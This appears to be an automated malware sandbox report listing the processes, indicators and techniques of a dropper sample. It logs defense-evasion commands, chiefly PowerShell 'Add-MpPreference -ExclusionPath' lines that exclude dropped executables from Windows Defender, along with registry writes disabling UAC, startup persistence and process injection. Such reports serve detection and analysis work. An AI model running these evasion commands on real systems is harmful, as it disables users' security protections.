b2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	E197.exe

Runs ping.exe 1 TTPs 10 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXE

pid process

4120 PING.EXE
5456 PING.EXE
4624 PING.EXE
1080 PING.EXE
3896 PING.EXE
3240 PING.EXE
1304 PING.EXE
5516 PING.EXE
6176 PING.EXE
3664 PING.EXE

pid	process
4120	PING.EXE
5456	PING.EXE
4624	PING.EXE
1080	PING.EXE
3896	PING.EXE
3240	PING.EXE
1304	PING.EXE
5516	PING.EXE
6176	PING.EXE
3664	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

040d9a95f9e954e29ceb2469fcf3a9e9.exe

pid	process
2460	040d9a95f9e954e29ceb2469fcf3a9e9.exe
2460	040d9a95f9e954e29ceb2469fcf3a9e9.exe
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208
3208

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3208
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

040d9a95f9e954e29ceb2469fcf3a9e9.exe27B2.exe

pid process

2460 040d9a95f9e954e29ceb2469fcf3a9e9.exe
3180 27B2.exe

pid	process
3208

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WerFault.exe48B9.exeB44A.exepowershell.exeD234.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeRestorePrivilege	1860	WerFault.exe
Token: SeBackupPrivilege	1860	WerFault.exe
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeDebugPrivilege	2024	48B9.exe
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeDebugPrivilege	3304	B44A.exe
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeDebugPrivilege	940	D234.exe
Token: SeShutdownPrivilege	3208
Token: SeCreatePagefilePrivilege	3208
Token: SeIncreaseQuotaPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	3496	powershell.exe
Token: SeTakeOwnershipPrivilege	3496	powershell.exe
Token: SeLoadDriverPrivilege	3496	powershell.exe
Token: SeSystemProfilePrivilege	3496	powershell.exe
Token: SeSystemtimePrivilege	3496	powershell.exe
Token: SeProfSingleProcessPrivilege	3496	powershell.exe
Token: SeIncBasePriorityPrivilege	3496	powershell.exe
Token: SeCreatePagefilePrivilege	3496	powershell.exe
Token: SeBackupPrivilege	3496	powershell.exe
Token: SeRestorePrivilege	3496	powershell.exe
Token: SeShutdownPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSystemEnvironmentPrivilege	3496	powershell.exe
Token: SeRemoteShutdownPrivilege	3496	powershell.exe
Token: SeUndockPrivilege	3496	powershell.exe
Token: SeManageVolumePrivilege	3496	powershell.exe
Token: 33	3496	powershell.exe
Token: 34	3496	powershell.exe
Token: 35	3496	powershell.exe
Token: 36	3496	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeIncreaseQuotaPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	3496	powershell.exe
Token: SeTakeOwnershipPrivilege	3496	powershell.exe
Token: SeLoadDriverPrivilege	3496	powershell.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3208

pid	process
3208

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

040d9a95f9e954e29ceb2469fcf3a9e9.exe27B2.exeWerFault.exeWerFault.exe6859.exeWerFault.exeWerFault.exeWerFault.exeB44A.exe

description	pid	process	target process
PID 1148 wrote to memory of 2460	1148	040d9a95f9e954e29ceb2469fcf3a9e9.exe	040d9a95f9e954e29ceb2469fcf3a9e9.exe
PID 1148 wrote to memory of 2460	1148	040d9a95f9e954e29ceb2469fcf3a9e9.exe	040d9a95f9e954e29ceb2469fcf3a9e9.exe
PID 1148 wrote to memory of 2460	1148	040d9a95f9e954e29ceb2469fcf3a9e9.exe	040d9a95f9e954e29ceb2469fcf3a9e9.exe
PID 1148 wrote to memory of 2460	1148	040d9a95f9e954e29ceb2469fcf3a9e9.exe	040d9a95f9e954e29ceb2469fcf3a9e9.exe
PID 1148 wrote to memory of 2460	1148	040d9a95f9e954e29ceb2469fcf3a9e9.exe	040d9a95f9e954e29ceb2469fcf3a9e9.exe
PID 1148 wrote to memory of 2460	1148	040d9a95f9e954e29ceb2469fcf3a9e9.exe	040d9a95f9e954e29ceb2469fcf3a9e9.exe
PID 3208 wrote to memory of 3916	3208		27B2.exe
PID 3208 wrote to memory of 3916	3208		27B2.exe
PID 3208 wrote to memory of 3916	3208		27B2.exe
PID 3916 wrote to memory of 3180	3916	27B2.exe	27B2.exe
PID 3916 wrote to memory of 3180	3916	27B2.exe	27B2.exe
PID 3916 wrote to memory of 3180	3916	27B2.exe	27B2.exe
PID 3916 wrote to memory of 3180	3916	27B2.exe	27B2.exe
PID 3916 wrote to memory of 3180	3916	27B2.exe	27B2.exe
PID 3916 wrote to memory of 3180	3916	27B2.exe	27B2.exe
PID 3208 wrote to memory of 1264	3208		3668.exe
PID 3208 wrote to memory of 1264	3208		3668.exe
PID 3208 wrote to memory of 1264	3208		3668.exe
PID 3036 wrote to memory of 1264	3036	WerFault.exe	3668.exe
PID 3036 wrote to memory of 1264	3036	WerFault.exe	3668.exe
PID 3208 wrote to memory of 2024	3208		48B9.exe
PID 3208 wrote to memory of 2024	3208		48B9.exe
PID 3208 wrote to memory of 2100	3208		5443.exe
PID 3208 wrote to memory of 2100	3208		5443.exe
PID 3208 wrote to memory of 2100	3208		5443.exe
PID 4432 wrote to memory of 2100	4432	WerFault.exe	5443.exe
PID 4432 wrote to memory of 2100	4432	WerFault.exe	5443.exe
PID 3208 wrote to memory of 2804	3208		6859.exe
PID 3208 wrote to memory of 2804	3208		6859.exe
PID 3208 wrote to memory of 2804	3208		6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 2804 wrote to memory of 2488	2804	6859.exe	6859.exe
PID 3208 wrote to memory of 420	3208		86BF.exe
PID 3208 wrote to memory of 420	3208		86BF.exe
PID 3208 wrote to memory of 420	3208		86BF.exe
PID 916 wrote to memory of 420	916	WerFault.exe	86BF.exe
PID 916 wrote to memory of 420	916	WerFault.exe	86BF.exe
PID 3208 wrote to memory of 4844	3208		942D.exe
PID 3208 wrote to memory of 4844	3208		942D.exe
PID 3208 wrote to memory of 4844	3208		942D.exe
PID 1072 wrote to memory of 4844	1072	WerFault.exe	942D.exe
PID 1072 wrote to memory of 4844	1072	WerFault.exe	942D.exe
PID 3208 wrote to memory of 3016	3208		AB41.exe
PID 3208 wrote to memory of 3016	3208		AB41.exe
PID 3208 wrote to memory of 3016	3208		AB41.exe
PID 3344 wrote to memory of 3016	3344	WerFault.exe	AB41.exe
PID 3344 wrote to memory of 3016	3344	WerFault.exe	AB41.exe
PID 3208 wrote to memory of 3304	3208		B44A.exe
PID 3208 wrote to memory of 3304	3208		B44A.exe
PID 3208 wrote to memory of 3304	3208		B44A.exe
PID 3304 wrote to memory of 3496	3304	B44A.exe	powershell.exe
PID 3304 wrote to memory of 3496	3304	B44A.exe	powershell.exe
PID 3304 wrote to memory of 3496	3304	B44A.exe	powershell.exe
PID 3208 wrote to memory of 2192	3208		C91B.exe
PID 3208 wrote to memory of 2192	3208		C91B.exe
PID 3208 wrote to memory of 940	3208		D234.exe
PID 3208 wrote to memory of 940	3208		D234.exe

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

Processes:

scriptwriters.exe123.exedeforcing.exeFEA6.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	scriptwriters.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	123.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	deforcing.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	FEA6.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

4836 attrib.exe

pid	process
4836	attrib.exe

C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe
"C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1148

C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe
"C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2460

C:\Users\Admin\AppData\Local\Temp\27B2.exe
C:\Users\Admin\AppData\Local\Temp\27B2.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3916

C:\Users\Admin\AppData\Local\Temp\27B2.exe
C:\Users\Admin\AppData\Local\Temp\27B2.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3180

C:\Users\Admin\AppData\Local\Temp\3668.exe
C:\Users\Admin\AppData\Local\Temp\3668.exe
1⤵
- Executes dropped EXE
PID:1264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1264 -s 272
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1264 -ip 1264
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3036

C:\Users\Admin\AppData\Local\Temp\48B9.exe
C:\Users\Admin\AppData\Local\Temp\48B9.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Users\Admin\AppData\Local\Temp\5443.exe
C:\Users\Admin\AppData\Local\Temp\5443.exe
1⤵
- Executes dropped EXE
PID:2100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2100 -s 292
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2100 -ip 2100
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:4432

C:\Users\Admin\AppData\Local\Temp\6859.exe
C:\Users\Admin\AppData\Local\Temp\6859.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2804

C:\Users\Admin\AppData\Local\Temp\6859.exe
C:\Users\Admin\AppData\Local\Temp\6859.exe
2⤵
- Executes dropped EXE
PID:2488

C:\Users\Admin\AppData\Local\Temp\86BF.exe
C:\Users\Admin\AppData\Local\Temp\86BF.exe
1⤵
- Executes dropped EXE
PID:420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 420 -s 276
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 420 -ip 420
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:916

C:\Users\Admin\AppData\Local\Temp\942D.exe
C:\Users\Admin\AppData\Local\Temp\942D.exe
1⤵
- Executes dropped EXE
PID:4844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 296
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4844 -ip 4844
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1072

C:\Users\Admin\AppData\Local\Temp\AB41.exe
C:\Users\Admin\AppData\Local\Temp\AB41.exe
1⤵
- Executes dropped EXE
PID:3016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 280
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 3016 -ip 3016
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3344

C:\Users\Admin\AppData\Local\Temp\B44A.exe
C:\Users\Admin\AppData\Local\Temp\B44A.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3304

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
2⤵
PID:3016

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
2⤵
PID:5104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
2⤵
PID:1892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
2⤵
PID:5392

C:\Users\Admin\AppData\Local\Temp\B44A.exe
C:\Users\Admin\AppData\Local\Temp\B44A.exe
2⤵
- Executes dropped EXE
PID:5176

C:\Users\Admin\AppData\Local\Temp\B44A.exe
C:\Users\Admin\AppData\Local\Temp\B44A.exe
2⤵
- Executes dropped EXE
PID:5600

C:\Users\Admin\AppData\Local\Temp\C91B.exe
C:\Users\Admin\AppData\Local\Temp\C91B.exe
1⤵
- Executes dropped EXE
PID:2192

C:\Users\Admin\AppData\Local\Temp\123.exe
"C:\Users\Admin\AppData\Local\Temp\123.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System policy modification
PID:3780

C:\Users\Admin\AppData\Local\Temp\acd2f948-9567-44da-ae8f-fd7428fc8cdd\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\acd2f948-9567-44da-ae8f-fd7428fc8cdd\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\acd2f948-9567-44da-ae8f-fd7428fc8cdd\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
3⤵
- Executes dropped EXE
PID:5532

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\acd2f948-9567-44da-ae8f-fd7428fc8cdd\test.bat"
4⤵
PID:5732

C:\Users\Admin\AppData\Local\Temp\8ec9aa74-5ae5-4178-afe3-73f048b40edc\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\8ec9aa74-5ae5-4178-afe3-73f048b40edc\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\8ec9aa74-5ae5-4178-afe3-73f048b40edc\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
3⤵
- Executes dropped EXE
PID:5564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8ec9aa74-5ae5-4178-afe3-73f048b40edc\test.bat"
4⤵
PID:5828

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
3⤵
PID:5868

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
3⤵
PID:5288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
3⤵
PID:5280

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
3⤵
PID:5884

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3256

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
3⤵
PID:5896

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:6256

C:\Users\Admin\AppData\Local\Temp\c35cdb36-88d7-4e83-8bdd-86f7ba859d65\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\c35cdb36-88d7-4e83-8bdd-86f7ba859d65\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c35cdb36-88d7-4e83-8bdd-86f7ba859d65\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
4⤵
- Executes dropped EXE
PID:6992

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c35cdb36-88d7-4e83-8bdd-86f7ba859d65\test.bat"
5⤵
PID:5000

C:\Users\Admin\AppData\Local\Temp\d9ae3a18-9698-449b-8981-2f3593b80b72\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\d9ae3a18-9698-449b-8981-2f3593b80b72\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\d9ae3a18-9698-449b-8981-2f3593b80b72\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
4⤵
- Executes dropped EXE
PID:6156

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\d9ae3a18-9698-449b-8981-2f3593b80b72\test.bat"
5⤵
PID:6572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
4⤵
PID:6116

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
4⤵
PID:4112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
4⤵
PID:6240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\appertaining\svchost.exe" -Force
4⤵
PID:3148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\appertaining\svchost.exe" -Force
4⤵
PID:7520

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
4⤵
PID:7320

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
4⤵
PID:8180

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"
4⤵
PID:7556

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
4⤵
PID:7648

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
4⤵
PID:4152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\appertaining\svchost.exe" -Force
3⤵
PID:6596

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
3⤵
PID:7160

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\appertaining\svchost.exe" -Force
3⤵
PID:6652

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
PID:6188

C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe
"C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2996

C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe
C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe
3⤵
- Executes dropped EXE
PID:5328

C:\Users\Admin\AppData\Local\Temp\D234.exe
C:\Users\Admin\AppData\Local\Temp\D234.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1048

C:\Windows\SysWOW64\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /release
3⤵
- Gathers network information
PID:4036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:1584

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:3896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:2744

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:4120

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:4652

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:5456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:5836

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:4624

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:8176

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:5516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /renew
2⤵
PID:5620

C:\Windows\SysWOW64\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /renew
3⤵
- Gathers network information
PID:1084

C:\Users\Admin\AppData\Local\Temp\D234.exe
C:\Users\Admin\AppData\Local\Temp\D234.exe
2⤵
- Executes dropped EXE
PID:2992

C:\Users\Admin\AppData\Local\Temp\D234.exe
C:\Users\Admin\AppData\Local\Temp\D234.exe
2⤵
- Executes dropped EXE
PID:1872

C:\Users\Admin\AppData\Local\Temp\E197.exe
C:\Users\Admin\AppData\Local\Temp\E197.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1996

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
2⤵
PID:3680

C:\Windows\SysWOW64\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /release
3⤵
- Gathers network information
PID:3344

